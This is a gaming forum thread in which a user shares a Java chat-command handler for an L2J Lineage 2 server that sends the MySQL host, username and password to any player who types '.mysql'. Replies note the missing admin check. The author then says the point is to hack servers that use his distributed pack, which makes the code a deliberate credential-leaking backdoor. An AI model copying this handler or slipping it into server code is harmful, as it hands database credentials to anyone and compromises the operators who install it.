Jump to content

[SHARE] .mysql Command


Recommended Posts

hello maxcheaters! i have made .mysql command and i want to share it!

nothing usefull but...

if you use .mysql command you have MySQL IP,MySQL User & Pass

 

package net.sf.l2j.gameserver.handler.voicedcommandhandlers;

import net.sf.l2j.Config;
import net.sf.l2j.gameserver.handler.IVoicedCommandHandler;
import net.sf.l2j.gameserver.model.actor.instance.L2PcInstance;

/**
*
* @author Lekino
* 
*
*/

public class mysql implements IVoicedCommandHandler
{
   private static String[] _voicedCommands = { "mysql" };

   public   boolean useVoicedCommand(String command, L2PcInstance activeChar, String target)
   {
     if (command.equalsIgnoreCase("mysql"))
     {    	
       	activeChar.sendMessage("MySQL IP: "+Config.EXTERNAL_HOSTNAME+" ");
      	activeChar.sendMessage("MySQL User: "+Config.DATABASE_LOGIN+" ");
     	activeChar.sendMessage("MySQL Pass: "+Config.DATABASE_PASSWORD+" ");
    	return true;
     }
return false;
   }
   public String[] getVoicedCommandList()
   {
   return _voicedCommands;
   }
}

Link to comment
Share on other sites

 

He is not his share.. :)

 

@Lekino Put Credits

 

he said its his share he even put his name as author.

 

anyway missing Check if the user that calling that command is a GM else everyone could call up that command and get pass/name of the mysql

Link to comment
Share on other sites

AGREE !

stfu

 

@lekino

a) activeChar.sendMessage("MySQL User: "+Config.DATABASE_LOGIN+" "); > useless

b) what happen if i change "Config.DATABASE_PASSWORD" in "DATABASE_PASSWORDZ0R" > npe

b-1) put a check if (Config.DATABASE_PASSWORD != null)

c) use ComboPooledDataSource <

 

 

Link to comment
Share on other sites

stfu

 

@lekino

a) activeChar.sendMessage("MySQL User: "+Config.DATABASE_LOGIN+" "); > useless

b) what happen if i change "Config.DATABASE_PASSWORD" in "DATABASE_PASSWORDZ0R" > npe

b-1) put a check if (Config.DATABASE_PASSWORD != null)

c) use ComboPooledDataSource <

 

 

 

:o PowneD :P

/ontopic: I think that's not helpfull either -.-

Link to comment
Share on other sites

stfu

 

@lekino

a) activeChar.sendMessage("MySQL User: "+Config.DATABASE_LOGIN+" "); > useless

b) what happen if i change "Config.DATABASE_PASSWORD" in "DATABASE_PASSWORDZ0R" > npe

b-1) put a check if (Config.DATABASE_PASSWORD != null)

c) use ComboPooledDataSource <

 

 

i have little java knowladge....

 

 

He is not his share.. :)

 

@Lekino Put Credits

I'm Lekino :D

 

And this suppose to be helpful for what?

if you create pack you can hack server how uses your pack :D

Link to comment
Share on other sites

i have little java knowladge....

 

right since u ask almost all in l2j dev help section ^^

 

 

[question] .mysql command

http://www.maxcheaters.com/forum/index.php?topic=147311.0

 

really all the things u "made" for your pack is 99% made from mxc  ???

 

Link to comment
Share on other sites

Guest
This topic is now closed to further replies.
 Share



×
×
  • Create New...

AdBlock Extension Detected!

Our website is made possible by displaying online advertisements to our members.

Please disable AdBlock browser extension first, to be able to use our community.

I've Disbaled AdBlock